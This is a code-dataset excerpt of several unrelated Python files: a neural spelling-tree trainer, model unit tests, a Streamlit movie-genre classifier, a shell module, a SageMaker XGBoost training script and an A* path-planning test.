\n if ln > WIDTH - 1:\n raise Exception(\"text to long..\")\n \n strt = int((WIDTH/2)-(ln/2)) \n \n mnv,mxv = min(k1.values()),max(k1.values())\n \n mnv2,mxv2 = min(k2.values()),max(k2.values())\n \n mnv3,mxv3 = min(k3.values()),max(k3.values())\n \n for c in txt:\n if not c in k1:\n c2 = \"\"\n c3 = \"\"\n strt = strt + 1\n continue\n #print(c, \" = \", math.log(k1[c]))\n \n nv = -2 + (4.0 / (mxv - mnv)) * (k1[c] - mnv)\n lyr[1][strt] = nv\n \n #lyr[1][strt] = math.log(k1[c])/(-7.0)\n \n #enc.append(math.log(k1[c])/(-7.0))\n c2 = c2 + c\n c3 = c3 + c\n if len(c2) > 2:\n c2 = c2[1:]\n if len(c3) > 3:\n c3 = c3[1:]\n \n if len(c2) == 2: # and math.log(k2[c2]) < -5.5:\n #vl = math.log(k2[c2]) / (-15.0)\n #print(\"somewhat rare\",c2, \" = \",math.log(k2[c2]), \" vl = \",vl)\n \n vl = -1 + (2.0 / (mxv2 - mnv2)) * (k2[c2] - mnv2)\n \n lyr[0][strt-1] = lyr[0][strt-1] + vl\n lyr[0][strt] = lyr[0][strt] + vl\n \n #enc.append(math.log(k2[c2])/(-15.0))\n \n if len(c3) == 3: # and math.log(k3[c3]) < -7.5:\n #vl = math.log(k3[c3]) / (-16.0)\n vl = -1 + (2.0 / (mxv3 - mnv3)) * (k3[c3] - mnv3)\n #print(\"rare..\",c3, \" \", math.log(k3[c3]), \" vl = \",vl)\n lyr[2][strt-2] = lyr[2][strt-2] + vl\n lyr[2][strt-1] = lyr[2][strt-1] + vl\n lyr[2][strt] = lyr[2][strt]\n #enc.append(math.log(k3[c3])/(-16.0))\n \n strt = strt + 1\n return lyr\n\n\nky_dct = None\n\ndef encode_word(wrd,ky_dct=None,dr_lc=\"\"):\n #global ky_dct\n \n if ky_dct is None:\n ky_dct = load_keys(dr_lc)\n \n return encode_word_keys(wrd,ky_dct['ky'],ky_dct['ky2'],ky_dct['ky3'])\n\ndef best_device():\n return torch.device(type= \"cuda\" if torch.cuda.is_available() else \"cpu\")\n\ndef tensor_info(tn):\n return (tn.device,tn.shape,tn.dtype)\n\ndef best_move(tn): \n return tn.to(best_device())\n\ndef numpy_to_tensor(nn_ar):\n ar = torch.from_numpy(nn_ar)\n ar = best_move(ar)\n return ar\n\ndef remove_letter(wd):\n if len(wd) < 5:\n return wd\n cs = random.randint(0,len(wd)-1)\n return wd[0:cs] + wd[cs+1:]\n\ndef swap_letter(wd):\n if len(wd) < 3:\n return wd\n cs = random.randint(0,len(wd)-2)\n wd = list(wd)\n t = wd[cs]\n wd[cs] = wd[cs+1]\n wd[cs+1] = t\n \n tmp = \"\"\n \n return tmp.join(wd)\n\ndef change_letter(wd): \n if len(wd) < 4:\n return wd\n \n alpha = ['a','b','c','d','e','f','g', \\\n 'h','i','j','k','l','m','n','o','p','q','r', \\\n 's','t','u','v','w','x','y','z']\n cs = random.randint(0,len(wd)-1)\n\n wd = list(wd)\n \n wd[cs] = alpha[random.randint(0,25)]\n \n tmp = \"\"\n \n return tmp.join(wd)\n\n\ndef drop_letter(wd):\n if len(wd) < 5:\n return wd\n cs = random.randint(0,len(wd)-2)\n \n wd = list(wd)\n \n wd[cs] = ' '\n \n tmp = \"\"\n \n return tmp.join(wd)\n\ndef add_letter(wd):\n if len(wd) < 3:\n return wd\n \n #print(\"add letter\")\n cs = random.randint(0,len(wd)-2)\n \n #wd = [w for w in wd]\n \n alpha = ['a','b','c','d','e','f','g', \\\n 'h','i','j','k','l','m','n','o','p','q','r', \\\n 's','t','u','v','w','x','y','z']\n \n #ln = len(wd)\n wd = wd[0:cs] + alpha[random.randint(0,25)] + wd[cs:] \n \n return wd \n\n\ndef word_mix(wd):\n fc_ar = [remove_letter,swap_letter,change_letter,drop_letter,add_letter]\n #wd = wd\n \n if random.random() < 0.50:\n wd = fc_ar[random.randint(0,4)](wd)\n \n if random.random() < 0.30:\n wd = fc_ar[random.randint(0,4)](wd)\n \n if random.random() < 0.20:\n wd = fc_ar[random.randint(0,4)](wd)\n \n if random.random() < 0.1:\n wd = fc_ar[random.randint(0,4)](wd)\n \n return wd\n\n\ndef name_path(name):\n return \"./net_data/\" + name + \".bin\"\n\ndef save_network(ntwrk,name,pth=None):\n \n if pth==None:\n nt_path = name_path(name)\n else:\n nt_path = os.path.join(pth, (name + \".bin\"))\n \n torch.save(ntwrk.state_dict(),nt_path)\n return\n\ndef load_network(name,pth=None):\n \n if pth==None:\n nt_path = name_path(name)\n else:\n nt_path = os.path.join(pth, filename)\n \n return torch.load(nt_pth)\n\n\ndef load_data_into(model,name):\n model.load_state_dict(load_network(name))\n model.eval()\n return\n\n\ndef load_file_into_model(mdl,pth):\n data = torch.load(pth)\n mdl.load_state_dict(data)\n mdl.eval()\n return\n\ndef get_category(ntwrk,wrds,btch=64,dbg=False):\n ntwrk.eval()\n tmp = []\n with torch.no_grad():\n for b in batch(wrds,btch):\n #print(b)\n if dbg:\n print(\"batch.. \",b)\n \n bts = word_batch(b)\n tn_bts = numpy_to_tensor(bts)\n #print(tensor_info(tn_bts))\n rslts = ntwrk(tn_bts)\n if dbg:\n print(\"result..\")\n print(rslts)\n #rv = rslts.argmax(dim=1)\n #print(rv)\n tmp.append(rslts.argmax(dim=1).cpu().numpy())\n \n return np.concatenate(tmp,axis=0)\n\ndef batch(iterable, n=1):\n l = len(iterable)\n for ndx in range(0, l, n):\n yield iterable[ndx:min(ndx + n, l)]\n \ndef word_batch(wrds):\n tmp = []\n for wr in wrds:\n \n #print(type(wr))\n \n wrd = encode_word(wr)\n wrd = np.expand_dims(wrd,axis=0)\n tmp.append(wrd)\n \n return np.stack(tmp,axis=0)\n \ndef total_string_distance(t):\n tmp = []\n for a,b in itertools.permutations(t,2):\n tmp.append(jellyfish.damerau_levenshtein_distance(a,b) ** 2) \n return sum(tmp)\n\ndef choose_spread_combo(nm,wrl):\n bts = []\n sms = []\n for i in range(75):\n t = wrl.choose_words(nm)\n bts.append(t)\n sms.append(total_string_distance(t))\n # print(sms,np.argmax(sms))\n return bts[np.argmax(sms)]\n \n \ndef build_net_opt_schedule(out_cat=5):\n ntwrk = ImgNet(out_cat)\n ntwrk = best_move(ntwrk)\n optimizer = optim.Adadelta(ntwrk.parameters(), lr=0.80)\n scheduler = StepLR(optimizer, step_size=1, gamma=0.965)\n \n return (ntwrk,optimizer,scheduler)\n\ndef train_loop(epoch,tn_in,tn_arg, model, optimizer, scheduler,dbg): \n \n example_size = tn_arg.shape[0]\n example_indexes = [x for x in range(example_size)]\n for i in range(epoch):\n for b in batch(example_indexes,512):\n #print(b[0],b[-1])\n \n optimizer.zero_grad()\n \n data = tn_in[b[0]:b[-1]]\n target = tn_arg[b[0]:b[-1]]\n \n #print(\"training data \",data.shape)\n \n data = numpy_to_tensor(data)\n target = numpy_to_tensor(target)\n \n output = model(data)\n \n loss = F.nll_loss(output,target)\n loss.backward()\n \n optimizer.step()\n \n scheduler.step()\n if dbg:\n print(\"lr.. \",scheduler.get_lr())\n \n\ndef build_choose_and_train(wrl,dbg=False,out_cat=5):\n out_num = 5\n targ_arr = []\n in_arr = []\n wrds = choose_spread_combo(out_num, wrl)\n \n for en,v in enumerate(wrds):\n targ_arr.append(en)\n wrd = encode_word(v)\n wrd = np.expand_dims(wrd,axis=0)\n in_arr.append(wrd)\n if dbg:\n print(\"word \",v,\" category \",en)\n \n \n for i in range(400):\n for en,v in enumerate(wrds):\n targ_arr.append(en)\n wd = word_mix(v)\n #if dbg:\n # print(\"word \",v,\" mix \",wd,\" category \",en)\n wrd = encode_word(wd)\n wrd = np.expand_dims(wrd,axis=0)\n in_arr.append(wrd)\n \n \n if dbg:\n print(\"length of input.. \",len(in_arr))\n \n tn_in, tn_trg = np.stack(in_arr),np.array(targ_arr,dtype=np.long)\n \n epoch = 5\n \n # example_size = len(targ_arr)\n # example_indexes = [x for x in range(example_size)]\n \n model, optimizer, scheduler = build_net_opt_schedule(out_cat)\n \n train_loop(epoch,tn_in,tn_trg, model, optimizer, scheduler,dbg)\n \n \n if dbg:\n print(\"second half training..\")\n \n # choose category based on the partially trained model..\n \n \n for i in range(4):\n all_wrds = wrl.all_words()\n cat_w = get_category(model,all_wrds)\n \n #for i,ct in enumerate(cat_w):\n cat_list = [[all_wrds[v] for v,ct in enumerate(cat_w) if ct == i ] for i in range(out_cat)]\n \n in_arr = []\n targ_arr = []\n \n epoch = 5\n \n for _ in range(125):\n for i in range(out_cat):\n #print(\"lenght list \",len(cat_list[i]))\n lst = random.sample(cat_list[i], k=min(len(cat_list[i]),30))\n #print(len(lst))\n \n for w in lst:\n targ_arr.append(i)\n wd = word_mix(w)\n wrd = encode_word(wd)\n wrd = np.expand_dims(wrd,axis=0)\n in_arr.append(wrd)\n \n tn_in, tn_trg = np.stack(in_arr),np.array(targ_arr,dtype=np.long)\n \n if dbg:\n print(\"input shape.. \",tn_in.shape)\n \n train_loop(epoch,tn_in,tn_trg, model, optimizer, scheduler,dbg)\n \n \n if dbg:\n model.eval()\n with torch.no_grad():\n example_size = tn_trg.shape[0]\n example_indexes = [x for x in range(example_size)]\n \n for b in batch(example_indexes,256):\n data = tn_in[b[0]:b[-1]]\n target = tn_trg[b[0]:b[-1]]\n \n data = numpy_to_tensor(data)\n target = numpy_to_tensor(target)\n output = model(data)\n \n # test_loss += F.nll_loss(output, target, reduction='sum').item() # sum up batch loss\n pred = output.argmax(dim=1, keepdim=True) # get the index of the max log-probability\n correct = pred.eq(target.view_as(pred)).sum().item()\n \n print(\"correct on batch.. \", (100.0 * correct) / len(b))\n return model\n\n\n# rtTreeName contains the name of the network to load \n# avWords (instance of WordManage) contains the list of available words.\n# wdDic contains the chosen words root network choice\n# maxDepth\ndef train_and_choose(rtTreeName, avWords, wdDic, maxDepth,pth=None,dbg=False):\n '''\n \n '''\n print(\"train tree..\")\n mdl = build_choose_and_train(avWords)\n \n # write the code to save the model..\n \n # saving the tree trained above.\n save_network(mdl,rtTreeName,pth)\n\n # get all the words to see there categories\n all_wrds = avWords.all_words()\n\n # find the categories for the words\n cat_w = get_category(mdl,all_wrds)\n\n for i,wrd in enumerate(all_wrds):\n #print(wrd,\" \",cat_w[i])\n avWords.set_category(wrd,cat_w[i])\n \n \n if len(all_wrds) < 20:\n vv = -1\n stp = True\n for w in cat_w:\n if vv == -1:\n vv = w\n elif not vv == w: \n stp = False\n break\n \n if stp:\n if dbg:\n print(\"not seperating for words .. \", all_wrds)\n return\n \n \n # stops run away code and infinite recursion. Can't think of reason it should happen but..\n if maxDepth <= 0:\n print(\"max depth exceeded..\")\n return\n\n for i in range(5):\n sb_tree = rtTreeName + \"_\" + str(i)\n nw_wrl = avWords.filter_list(i)\n \n for w in nw_wrl.all_words():\n wdDic[w] = sb_tree\n \n print(\"category \",i,\" total word count \",len(nw_wrl.all_words()))\n \n # recurse..\n wrds = nw_wrl.all_words()\n if len(wrds) > 1:\n # recurse..\n print(\"recursing on \",sb_tree,\" total words.. \", len(wrds)) \n if len(wrds) < 5:\n print(\"Words..\",wrds)\n train_and_choose(sb_tree, nw_wrl, wdDic, maxDepth - 1,pth)\n return\n\n# saves a structure to file.\ndef save_json(sjn,flnm):\n data = json.dumps(sjn)\n with open(flnm,\"w\") as fl:\n fl.write(data)\n return\n\n# load json to dictionary\ndef load_json(flnm):\n data = None\n with open(flnm,\"r\") as fl:\n data = fl.read()\n return json.loads(data)\n\n# display the encoding image.\ndef display_im(im):\n plt.figure(figsize=(25, 25),dpi=80)\n plt.imshow(im)\n\n# check word spelling.\ndef spell_word(wrd,ntwrk_name,mmp,dr, dbg=False): \n \n # load the network\n mdl = best_move(ImgNet(5))\n \n fl = os.path.join(dr, (ntwrk_name + \".bin\")) #dr + \"/\" + ntwrk_name + \".bin\"\n \n nt = torch.load(fl)\n \n mdl.load_state_dict(nt)\n mdl.eval()\n \n cats = get_category(mdl,[wrd]) \n \n if dbg:\n print(\"category.. \",cats)\n \n sb_ntwrk = ntwrk_name + \"_\" + str(cats[0])\n\n word = [k for k,v in mmp.items() if v == sb_ntwrk]\n \n if len(word) > 0:\n if dbg:\n for k,v in mmp.items():\n if v == sb_ntwrk:\n print(\"key \",k, \" value \", v)\n return word\n \n nt_nm = dr + \"/\" + sb_ntwrk + \".bin\"\n \n if path.exists(nt_nm):\n if dbg:\n print(\"traverse down.. \",nt_nm)\n return spell_word(wrd,sb_ntwrk,mmp,dr,dbg)\n else:\n if dbg:\n print(\"network file not found. not found..\")\n return \"Not found..\"\n","sub_path":"core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":18298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"641512697","text":"#!/usr/bin/python\n\nimport logging\nimport os\nimport unittest\n\nfrom model_vtpr import VTPR\n\n# --- logging setup ---\nlogging.basicConfig(format='%(asctime)s %(levelname)s %(message)s', datefmt='%Y-%m-%d %H:%M:%S')\nlog = logging.getLogger(os.path.splitext(os.path.basename(__file__))[0])\nlog.setLevel(logging.DEBUG)\n\nmodel = None\n\ndef setUpModule():\n global model\n model = VTPR('VTPR_Test_Modell', 'mappings_vtpr', 3, 32, logger=log)\n return\n\ndef tearDownModule():\n global model\n return\n\n# @unittest.skip(\"Skipping Test01\")\nclass Test01(unittest.TestCase):\n \n def setUp(self):\n global model\n self.model = model\n\n def test_constructor(self):\n self.assertIsNotNone(self.model)\n\n# @unittest.skip(\"Skipping Test02\")\nclass Test02(unittest.TestCase):\n \n def setUp(self):\n global model\n self.model = model\n \n\n def test_model_results(self):\n self.model.calc_model_results()\n \n\n@unittest.skip(\"Skipping Test03\")\nclass Test03(unittest.TestCase):\n \n def setUp(self):\n global model\n self.model = model\n \n\n def test_model_results(self):\n res, exp_res , model_res = self.model.check_possible_calculations()\n self.assertIsNotNone(exp_res)\n self.assertIsNotNone(model_res)\n self.assertIsNotNone(res)\n\n@unittest.skip(\"Skipping Test04\")\nclass Test04(unittest.TestCase):\n \n def setUp(self):\n global model\n self.model = model\n \n\n def test_sys_diag(self):\n\n self.model.delete_diags = True\n\n system = ['CARBON DISULFIDE', 'ACETONE']\n self.model.create_system_diags(system)\n\n system = ['WATER', 'ACETONE']\n self.model.create_system_diags(system)\n\n system = ['CARBON DIOXIDE', 'ETHANE']\n self.model.create_system_diags(system)\n \n system = ['CHLORODIFLUOROMETHANE','CARBON DIOXIDE']\n self.model.create_system_diags(system)\n \n system = ['ETHANE','PROPANE']\n self.model.create_system_diags(system)\n\n\n@unittest.skip(\"Skipping Test05\")\nclass Test05(unittest.TestCase):\n \n def setUp(self):\n global model\n self.model = model\n \n\n def test_diag(self):\n self.model.delete_diags = False\n\n self.model.create_diags()\n\n\n@unittest.skip(\"Skipping Test06\")\nclass Test06(unittest.TestCase):\n \n def setUp(self):\n global model\n self.model = model\n \n\n def test_system_results(self):\n\n res = {}\n\n system = ['ACETONE', 'N-PENTANE']\n\n sys_file_name = '_'.join(system) + '.json'\n\n\n res = self.model.calc_system_results(system)\n if res != {}:\n self.model.write_results(sys_file_name, res)\n\n self.model.create_system_diags(system)\n\n \n@unittest.skip(\"Skipping Test07\")\nclass Test07(unittest.TestCase):\n \n def setUp(self):\n global model\n self.model = model\n \n\n def test_model_backup(self):\n self.model.do_model_backup()\n\n\nif __name__ == '__main__':\n unittest.main(verbosity=2)","sub_path":"Software/dev/test_vtpr_model.py","file_name":"test_vtpr_model.py","file_ext":"py","file_size_in_byte":3056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"49136119","text":"import streamlit as st\nimport base64\nimport re\nimport string\nimport pandas as pd\nimport numpy as np\nimport nltk\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\nfrom nltk.stem.snowball import SnowballStemmer\nfrom sklearn.preprocessing import MultiLabelBinarizer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn.multiclass import OneVsRestClassifier\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.metrics import f1_score\nimport plotly.express as px\nfrom random import randrange\n\nTRAIN_FILE = 'train.csv'\nTEST_FILE = 'test.csv'\nBG_IMAGE = \"background.jpg\"\nBG_IMAGE_EXT = \"jpg\"\n\ndef main():\n st.markdown(\n f\"\"\"\n \n \"\"\",\n unsafe_allow_html=True\n ) \n\n st.markdown('Movie genre recognition demo
', unsafe_allow_html=True)\n grid_search, multilabel_binarizer = get_grid_search_and_multilabel_binarizer()\n random_inputs = read_test_data()\n st.markdown('Enter citation from your favourite movie or choose at random
', unsafe_allow_html=True)\n placeholder = st.empty()\n input = placeholder.text_input(\"\")\n if st.button(\"I'm feeling lucky\"):\n input = placeholder.text_input(\"\", value=random_inputs[randrange(len(random_inputs))])\n if input:\n predict(grid_search, multilabel_binarizer, input)\n\ndef predict(grid_search, multilabel_binarizer, input):\n input = clean_x(input)\n input = pd.Series(input)\n vect = grid_search.best_estimator_.named_steps['vect']\n input = vect.transform(input)\n tfidf = grid_search.best_estimator_.named_steps['tfidf']\n input = tfidf.transform(input)\n clf = grid_search.best_estimator_.named_steps['clf']\n decision_function_output = clf.decision_function(input)\n sizes, lables = get_pie_sizes_and_lables(multilabel_binarizer, decision_function_output)\n print(lables)\n main_genres = []\n add_genres = []\n reply_message = ''\n for i in range(len(sizes)):\n if sizes[i] >= 0.4:\n main_genres.append(lables[i])\n else:\n add_genres.append(lables[i])\n if len(main_genres) > 0:\n if len(add_genres) > 0:\n reply_message = \"This is \" + ' and '.join(main_genres) + \" with the elements of \" + ' and '.join(add_genres) + '.'\n else:\n reply_message = \"This is \" + ' and '.join(main_genres) + '.'\n elif len(add_genres) > 0:\n reply_message = \"This is the movie with the elements of \" + ' and '.join(add_genres) + '.'\n else:\n reply_message = \"Oops! It seems that we are unable to recognize the movie. Please try another citation.\"\n st.markdown('' + reply_message + '
', unsafe_allow_html=True)\n if len(sizes) > 1:\n placeholder = st.empty()\n with placeholder.beta_expander(\"See details\"):\n show_pie_chart(sizes, lables)\n\ndef show_pie_chart(sizes, lables):\n fig = px.pie(sizes, values=sizes, names=lables)\n fig.update_layout(\n paper_bgcolor='rgba(0,0,0,0)',\n plot_bgcolor='rgba(0,0,0,0)',\n legend = dict(font = dict(size = 20, color = \"#FFF\"))\n )\n st.plotly_chart(fig)\n\ndef get_pie_sizes_and_lables(multilabel_binarizer, decision_function_output):\n has_class = decision_function_output > 0\n lables = np.array([multilabel_binarizer.classes_])\n return decision_function_output[has_class]/decision_function_output[has_class].sum(), lables[has_class]\n\n@st.cache(suppress_st_warning=True, show_spinner=False)\ndef get_grid_search_and_multilabel_binarizer():\n x, y, multilabel_binarizer = read_train_data()\n grid_search = train(x, y)\n return grid_search, multilabel_binarizer\n\ndef train(x, y):\n x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=42)\n pipeline = Pipeline([\n ('vect', CountVectorizer()),\n ('tfidf', TfidfTransformer()),\n ('clf', OneVsRestClassifier(SGDClassifier())),\n ])\n parameters = {\n 'vect__max_df': ([0.9]),\n 'vect__max_features': ([8000]),\n 'vect__ngram_range': ([(1, 1)]),\n 'tfidf__use_idf': ([False]),\n 'tfidf__norm': (['l2'])\n }\n grid_search = GridSearchCV(pipeline, parameters, n_jobs=-1, verbose=3, cv=2)\n grid_search.fit(x_train, y_train)\n print(grid_search.best_params_)\n res = grid_search.refit\n y_pred = grid_search.predict(x_test)\n y_pred = (y_pred >= 0.6).astype(int)\n print(f1_score(y_test, y_pred, average=\"micro\"))\n return grid_search\n\ndef read_train_data():\n data = pd.read_csv(TRAIN_FILE)\n data = data.groupby('movie').agg({'genres':', '.join,'dialogue':' '.join})\n x = process_x(data['dialogue'])\n y, multilabel_binarizer = process_y(data['genres'])\n return x, y, multilabel_binarizer\n\n@st.cache(suppress_st_warning=True, show_spinner=False)\ndef read_test_data():\n data = pd.read_csv(TEST_FILE)\n return data['dialogue']\n\ndef process_x(text):\n nltk.download('stopwords')\n return text.apply(lambda x: clean_x(x))\n\ndef process_y(text):\n text = text.apply(lambda x: clean_y(x))\n multilabel_binarizer = MultiLabelBinarizer()\n multilabel_binarizer.fit(text)\n return multilabel_binarizer.transform(text), multilabel_binarizer\n\ndef clean_x(text):\n text = text.lower()\n text = text.translate(str.maketrans('', '', string.punctuation))\n tokens = word_tokenize(text)\n stop_words = set(stopwords.words('english'))\n stop_words.add('u')\n stop_words.add('br')\n tokens = [w for w in tokens if not w in stop_words]\n stemmer = SnowballStemmer(\"english\")\n stems = []\n for t in tokens: \n stems.append(stemmer.stem(t))\n return ' '.join(stems)\n\ndef clean_y(text):\n text = text[1:-1]\n text = re.sub(\"\\[\", \"\", text)\n text = re.sub(\"\\]\", \"\", text)\n text = re.sub(\"u'\", \"\", text)\n text = re.sub(\"\\'\", \"\", text)\n return text.split(', ')\n\nif __name__ == \"__main__\":\n main()","sub_path":"genres.py","file_name":"genres.py","file_ext":"py","file_size_in_byte":7837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"84950757","text":"\"\"\"\ntwosheds.shell\n~~~~~~~~~~~~~~\n\nThis module implements the central user interface for access to an\noperating system's kernel services.\n\"\"\"\nfrom __future__ import absolute_import\n\nimport atexit\nimport os\nimport readline\nimport sys\n\nfrom .cli import CommandLineInterface\nfrom .completer import Completer\nfrom .grammar import Grammar\nfrom .language import Language\nfrom .semantics import Semantics\nfrom .transform import AliasTransform, TildeTransform, VariableTransform\n\nDEFAULT_HISTFILE = os.path.expanduser(\"~/.console-history\")\n\n\nclass Shell(CommandLineInterface):\n \"\"\"\n A facade encapsulating the high-level logic of a command language\n interpreter.\n\n :param aliases: dictionary of aliases\n :param builtins: dictionary of builtins\n :param echo: set True to print commands immediately before execution\n :param prompt: the string which is printed before reading each command\n from the terminal.\n :param histfile: the location in which to look for a history file. if\n unset, ``DEFAULT_HISTFILE`` is used. histfile is useful\n when sharing the same home directory between different\n machines, or when saving separate histories on different\n terminals.\n :param use_suffix: add a ``/`` to completed directories and a space to the\n end of other completed words, to speed typing and\n provide a visual indicator of successful completion.\n :param exclude: list of regexes to be ignored by completion.\n\n Usage::\n\n >>> import twosheds\n >>> shell = twosheds.Shell()\n >>> shell.interact() # doctest: +SKIP\n \"\"\"\n def __init__(self,\n aliases=None,\n builtins=None,\n echo=False,\n prompt=None,\n histfile=None,\n use_suffix=True,\n exclude=None,\n ):\n super(Shell, self).__init__(prompt)\n\n transforms = [\n AliasTransform(aliases),\n TildeTransform(VariableTransform(os.environ)),\n ]\n grammar = Grammar(echo=echo, transforms=transforms)\n semantics = Semantics(builtins)\n self.language = Language(grammar, semantics)\n self.completer = Completer(grammar, use_suffix=use_suffix,\n exclude=exclude)\n self.histfile = histfile or DEFAULT_HISTFILE\n\n def _save_history(self):\n readline.write_history_file(self.histfile)\n\n def eval(self, text):\n \"\"\"Interpret and respond to user input. Optionally returns a string to\n print to standard out.\n \n :param text: the user's input\n \"\"\"\n return self.language.interpret(text)\n\n def interact(self, banner=None):\n \"\"\"Interact with the user.\n \n :param banner: (optional) the banner to print before the first\n interaction. Defaults to ``None``.\n \"\"\"\n readline.parse_and_bind(\"bind ^I rl_complete\" if sys.platform == 'darwin'\n else \"tab: complete\")\n readline.set_completer(self.completer.complete)\n if hasattr(readline, \"read_history_file\"):\n try:\n readline.read_history_file(self.histfile)\n except IOError:\n pass\n atexit.register(self._save_history)\n super(Shell, self).interact(banner)\n","sub_path":"twosheds/shell.py","file_name":"shell.py","file_ext":"py","file_size_in_byte":3466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"254315747","text":"\"\"\"\nReference:\nhttps://github.com/awslabs/amazon-sagemaker-examples/blob/master/introduction_to_amazon_algorithms/xgboost_abalone/xgboost_abalone_dist_script_mode.ipynb\nhttps://sagemaker.readthedocs.io/en/stable/frameworks/xgboost/using_xgboost.html\n\n\nTest:\nLocal test on train.py\npython train.py --train \"../../test_data/train/\" --validation \"../../test_data/val/\" --model-dir \"../../test_data/\"\n\nvscode launch.json\n{\n \"version\": \"0.2.0\",\n \"configurations\": [\n {\n \"name\": \"Python: Current File\",\n \"type\": \"python\",\n \"request\": \"launch\",\n \"program\": \"${file}\",\n \"console\": \"integratedTerminal\",\n \"cwd\": \"${fileDirname}\",\n \"args\": [\n \"--train\",\n \"../../test_data/train/\",\n \"--validation\",\n \"../../test_data/val/\",\n \"--model-dir\",\n \"../../test_data/\"\n ]\n }\n ]\n}\n\n\"\"\"\n\nimport os\nimport argparse\nfrom xgboost import XGBClassifier\nfrom utils import print_files_in_path\nimport pickle\nfrom multiprocessing import cpu_count\nfrom sklearn.metrics import classification_report, confusion_matrix, precision_score\nimport pandas as pd\n\n\ndef model_fn(model_dir):\n filename = os.path.join(model_dir, \"model.pth\")\n with open(filename, \"rb\") as f:\n model = pickle.load(f)\n\n print(model)\n return model\n\n\ndef save_model(model, model_dir):\n \"\"\"Save xgb's Booster. Model function should return a xgboost.Booster object.\"\"\"\n print(\"save booster\")\n filename = os.path.join(model_dir, \"model.pth\")\n with open(filename, \"wb\") as f:\n pickle.dump(model._Booster, f)\n\n\ndef get_data(train_channel, validation_channel):\n \"\"\"Retrieve data based on channel dir provided.\"\"\"\n train_df = pd.read_csv(os.path.join(train_channel, \"train.csv\"), header=0, index_col=None)\n test_df = pd.read_csv(os.path.join(validation_channel, \"test.csv\"), header=0, index_col=None)\n X_train, y_train = train_df.iloc[:, 1:], train_df.iloc[:, 0]\n X_test, y_test = test_df.iloc[:, 1:], test_df.iloc[:, 0]\n print(f\"X_train: {X_train.shape}, y_train:{y_train.shape}\")\n print(f\"X_test: {X_test.shape}, y_test:{y_test.shape}\")\n return X_train, X_test, y_train, y_test\n\n\ndef train(train_channel, validation_channel, model_dir, epochs):\n \"\"\"\n SM_CHANNEL does not contain backward slash:\n SM_CHANNEL_TRAIN=/opt/ml/input/data/train\n SM_CHANNEL_VALIDATION=/opt/ml/input/data/validation\n\n Training job name:\n script-mode-container-xgb-2020-08-10-13-29-15-756\n\n \"\"\"\n print(\"\\nList of files in train channel: \")\n print_files_in_path(train_channel)\n\n print(\"\\nList of files in validation channel: \")\n print_files_in_path(validation_channel)\n\n X_train, X_test, y_train, y_test = get_data(train_channel, validation_channel)\n\n n_jobs = cpu_count() - 1\n\n parameters = {\n \"min_child_weight\": 5,\n \"max_depth\": 5,\n \"learning_rate\": 0.0001,\n \"objective\": \"multi:softprob\",\n \"n_estimators\": epochs,\n }\n\n model = XGBClassifier(\n base_score=0.5,\n booster=\"gbtree\",\n colsample_bylevel=1,\n colsample_bynode=1,\n colsample_bytree=1,\n gamma=0,\n max_delta_step=0,\n missing=None,\n n_jobs=n_jobs, # From version 1.1.1, cant use -1 for all cores\n nthread=None,\n random_state=0,\n reg_alpha=0,\n reg_lambda=1,\n # scale_pos_weight=1,\n subsample=1,\n verbosity=1,\n **parameters,\n )\n print(model)\n fit_params = {\n # \"sample_weight\": df_train_w[\"sample_weight\"],\n \"early_stopping_rounds\": 10,\n \"eval_metric\": \"mlogloss\",\n \"eval_set\": [(X_train, y_train), (X_test, y_test)],\n }\n model.fit(X_train, y_train, **fit_params)\n # model.fit(X_train, y_train)\n\n # Evaluation\n preds = model.predict(X_test)\n print(classification_report(y_test, preds))\n print(confusion_matrix(y_test, preds, labels=[0, 1, 2]))\n print(precision_score(y_test, preds, average=\"weighted\"))\n\n save_model(model, model_dir)\n\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n\n # sagemaker-containers passes hyperparameters as arguments\n parser.add_argument(\"--hp1\", type=str)\n parser.add_argument(\"--hp2\", type=int, default=50)\n parser.add_argument(\"--hp3\", type=float, default=0.1)\n parser.add_argument(\"--epochs\", type=int, default=50)\n\n # This is a way to pass additional arguments when running as a script\n # and use sagemaker-containers defaults to set their values when not specified.\n local_train = \"\"\n parser.add_argument(\"--train\", type=str, default=os.getenv(\"SM_CHANNEL_TRAIN\", None))\n parser.add_argument(\"--validation\", type=str, default=os.getenv(\"SM_CHANNEL_VALIDATION\", None))\n parser.add_argument(\"--model-dir\", type=str, default=os.getenv(\"SM_MODEL_DIR\", None))\n\n args = parser.parse_args()\n print(args)\n train(args.train, args.validation, args.model_dir, args.epochs)\n","sub_path":"script-mode-xgb/docker/code/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"641750078","text":"from unittest import TestCase\nimport os\nimport sys\n\nsys.path.append(os.path.dirname(__file__) + '/../')\n\ntry:\n from PathPlanning.AStar import a_star_searching_from_two_side as m\nexcept ImportError:\n raise\n\n\nclass Test(TestCase):\n\n def test1(self):\n m.show_animation = False\n m.main(800)\n\n def test2(self):\n m.show_animation = False\n m.main(5000) # increase obstacle number, block path\n\n\nif __name__ == '__main__':\n test = Test()\n test.test1()\n test.test2()\n","sub_path":"tests/test_a_star_searching_two_side.py","file_name":"test_a_star_searching_two_side.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
